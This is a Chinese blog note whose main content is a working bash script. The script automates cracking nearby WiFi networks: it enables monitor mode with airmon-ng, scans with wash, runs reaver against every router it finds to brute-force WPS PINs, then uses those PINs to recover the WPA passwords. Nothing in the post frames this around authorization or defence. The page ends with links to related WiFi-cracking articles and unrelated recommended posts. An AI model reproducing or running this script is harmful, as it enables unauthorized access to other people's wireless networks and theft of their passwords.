直接上脚本吧, 我做个笔记。

#*************************************************************************
# > File Name: wifi.sh
# > Author: chenglee
# > Main : chengkenlee@sina.com
# > Blog : http://www.cnblogs.com/chenglee/
# > Created Time : Tue 26 Mar 2019 09:30:16 PM CST
#*************************************************************************
#!/bin/bash wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'` function Wwash(){
echo "判断网卡是否以挂载..."
if [ -z "${wlanname}" ];then
echo "网卡没挂载, 请先手动挂载网卡"
exit;
else
echo "网卡已挂载,判断是否已启动监听模式"
#airmon-ng start ${wlanname}
wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
string="mon"
if [[ $wlanname =~ $string ]];then
echo "监听模式正常, 开始扫描附近无线网络..."
nohup wash -i ${wlanname} > logs/file 2>&1 &
else
echo "监听模式异常, 准备重启监听模式"
airmon-ng stop ${wlanname}
airmon-ng start ${wlanname}
echo "检查网卡监听模式状态"
if [[ $wlanname =~ $string ]];then
echo "监听模式正常, 开始扫描附近无线网络..."
nohup wash -i ${wlanname} > logs/file 2>&1 &
else
echo "定点异常,请插拔网卡后继续运行此脚本"
exit;
fi
fi
fi
}
function file(){
sleep 5;
num=`cat -n logs/file | grep BSSID | awk -F ' ' '{print$1}'`
number=`expr ${num} + 2`
nullnum=`sed -n ''"$number"',$p' logs/file | awk '/^$/{print NR}' | head -n 1`
if [ "$nullnum" = "" ];then
sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
cat logs/file1 | awk -F ' ' '{print$1}' > logs/mac
cat logs/file1 | awk -F ' ' '{print$2}' > logs/ch
else
sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
nullnu=`expr ${nullnum} - 1`
sed -n '1,'"$nullnu"'p' logs/file1 > logs/file2
cat logs/file2 | awk -F ' ' '{print$1}' > logs/mac
cat logs/file2 | awk -F ' ' '{print$2}' > logs/ch
fi
}
function Rreaver(){
wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
exec 3<"logs/mac"
exec 4<"logs/ch"
while read line1<&3 && read line2<&4
do
echo "后台分析物理地址为:${line1},信道为:${line2}的无线网络数据, 请稍后..."
nohup reaver -i ${wlanname} -b ${line1} -c ${line2} -vv -K 0 >> logs/${line1}.logs 2>&1 &
done
}
function analyse_PIN(){
lsatstring="logs"
exec 5<"logs/mac"
while read line3<&5
do
WPA_PIN=`cat logs/${line3}.${lsatstring} | grep WPA`
if [ "$WPA_PIN" = "" ];then
echo "${line3}-PIN码获取不到, 继续判断..."
else
echo "${line3}-PIN码获取成功!!PIN码:${WPA_PIN}"
echo "${line3}" >> logs/pin_mac 2>&1 &
echo "${WPA_PIN}" | awk -F ':' '{print$NF}' | sed 's/ //g' >> logs/pin_pin 2>&1 &
fi
done
}
function Ppin(){
wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
exec 6<"logs/pin_mac"
exec 7<"logs/pin_pin"
while read line4<&6 && read line5<&7
do
echo "开始通过(路由器):${line4},pin码:${line5},套取密码..."
nohup reaver -i ${wlanname} -b ${line4} -p ${line5} >> logs/${line5}.logs 2>&1 &
done
}
function pass(){
lsatstring="logs"
exec 8<"logs/pin_pin"
while read line6<&8
do
PassWord=`cat logs/${line6}.${lsatstring} | grep PSK`
if [ "$PassWord" = "" ];then
echo "PIN码为:${line6},密码获取失败, 继续获取..."
else
echo "PIN码为:${line6},密码获取成功,请前行 logs/${line6}.${lsatstring}文件查看相关 SSID,PASS等信息"
fi
done
}
function logs(){
if [ -d "logs" ];then
echo ""
Wwash
sleep 10;
file
else
echo ""
mkdir logs
Wwash
sleep 10;
file
fi
}
function main(){
#logs
#file
###############多重循环暴力区###############
#Rreaver
#analyse_PIN
#Ppin
#pass
###############多重循环暴力区###############
}
main

  

kali-通过获取路由器pin码套取无线网络密码shell脚本的更多相关文章

  1. 跑PIN码破解无线网络WIFI密码的原理分析(转)

    你们家用的无线路由器安全吗?有人蹭网吗?无线路由器的漏洞在哪里?这么避免蹭网? 想要了解这些,必须要了解加密以及破解原理. 工具/原料 电脑 足够多足够好的wifi信号源 usb无线网卡(非必需) 一 ...

  2. Final——无线网络密码破解——WPA/WPA2

    Final--无线网络密码破解--WPA/WPA2 20154305 齐帅 ↓ ↓ ↓ * # % & 郑 重 声 明 & % # * ↓ ↓ ↓ 本实验教程用于探索无线路由安全漏洞, ...

  3. 破解无线网络密码-BT3如何使用2

    本教程只作学习和交流使用,任何其它商用与本人无关, 在开始教程之前, 首先需要用到几个软件,感兴趣的朋友看完贴子后可以去百度搜一下下载地址, 虚拟机: VMware Workstation 6.5 正 ...

  4. kali拿取路由器pin码

    前序:拿pin码就可以直接跑出WPA PSK, 下面开始记录我的操作过程. 网卡监控模式 airmon-ng start wlan0 扫描 wash -i wlan0mon 破pin 网卡 物理地址 ...

  5. kali 系列学习12-使用Wifite破解无线网络

    一些破解无线网络程序是使用Aircrack-ng工具集,并添加了一个图形界面或使用文本菜单的形式来破解无线网络.这使得用户使用它们更容易,而且不需要记住任何命令.本节将介绍使用命令行工具Wifite, ...

  6. 使用Reaver加PIN码秒破WPA-PSK密码

    之前掌握到的破解WPA-PSK密码仅限于使用aircreack工具包获取handshake后挂字典爆破方式,而能否破解出wpa密码完全依赖于字典强度了.除了该方式外还有一个更有效的办法,就是使用路由P ...

  7. 破解无线网络密码-BT3如何使用3

    BT3 虚拟机 SNOOPWEP2 破解无线网络WEP密钥图解 1.下载BT3 光盘映像文件(ISO格式),比如:bt3-final.iso: 用WinISO 或 UltraISO(这个还支持DVD ...

  8. WPA-PSK无线网络密码破解原理

    1.基于WPA2的加密标准还是能够被破解,一个弊端是他无法避开时候双方验证的模式来认证取得合法性的连接,当我们抓取足够多得双反认证的数据包之后就可以破解密码.之前很多片的博客写了如何破解这种加密的秘钥 ...

  9. 【Android M】获取屏幕锁定的相关信息:“无”,“滑动”,“PIN码”,"图案","密码"

    ENV: Android M 6.0.1 import android.os.UserHandle;         import com.android.internal.widget.LockPa ...

随机推荐

  1. js获取HTML DOM节点元素方法总结

    1. 通过顶层document节点获取:    (1)document.getElementById(elementId) :通过ID获得节点,如果页面上含有多个相同id的节点,那么只返回第一个节点. ...

  2. u-boot调试串口输出对应的系统函数

    接上Debug串口,启动机器,u-boot哗啦啦地打印一行行的字符.刚接触u-boot的时候,对机器后台做了什么,几乎一无所知. 如果要很有信心地定制出一个简单并且可靠的系统,或者快速完成一项新的任务 ...

  3. Python的基本语法1

    一.python的基本数据类型 (1)6种基本数据类型 1.数字类型 int 整数,2,0,-4等 float 浮点数,如1.2,-0.3等 bool 布尔类型,True,False complex ...

  4. what's the 白盒测试

    what's the 白盒测试 白盒测试又称结构测试.透明盒测试.逻辑驱动测试或基于代码的测试.盒子指的是被测试的软件,白盒指的是盒子是可视的,你清楚盒子内部的东西以及里面是如何运作的.白盒要考虑测试 ...

  5. Oracle SQL 部分特殊字符转义及escape的用法

    在处理sql时,遇到insert 或update 的参数中含有特殊字符“&”,下划线“_”, 单引号" ' "等时,要做转义处理. 例:插入特殊字元'&' upda ...

  6. keras笔记

    函数式模型 函数式模型算是本文档比较原创的词汇了,所以这里要说一下 在Keras 0.x中,模型其实有两种,一种叫Sequential,称为序贯模型,也就是单输入单输出,一条路通到底,层与层之间只有相 ...

  7. Oracle安装和配置Oracle数据库快速指南

    Oracle安装12C要求参考文档 汇总 中文版:在 Unix AIX,HP-UX,Linux,Solaris 和 MS Windows 操作系统上安装和配置 Oracle 数据库(RDBMS)的要求 ...

  8. python列表排重:列表排重并计算字符出现的次数

    a=[,,,,,,,,,,,] dictc={} for i in range(len(a)): dictc[a[i]]=a.count(a[i]) for key in dictc: print k ...

  9. 【备忘】mybatis的条件判断用<choose>

    mybatis并没有if..else,在mybatis的sql mapper文件中,条件判断要用choose..when..otherwise.   <choose> <when t ...

  10. localforage调用setItem时出现DOMException错误的解决方法

    今天使用localforage时出现下面的错误: Uncaught (in promise) DOMException transaction.onabort.transaction.onerror ...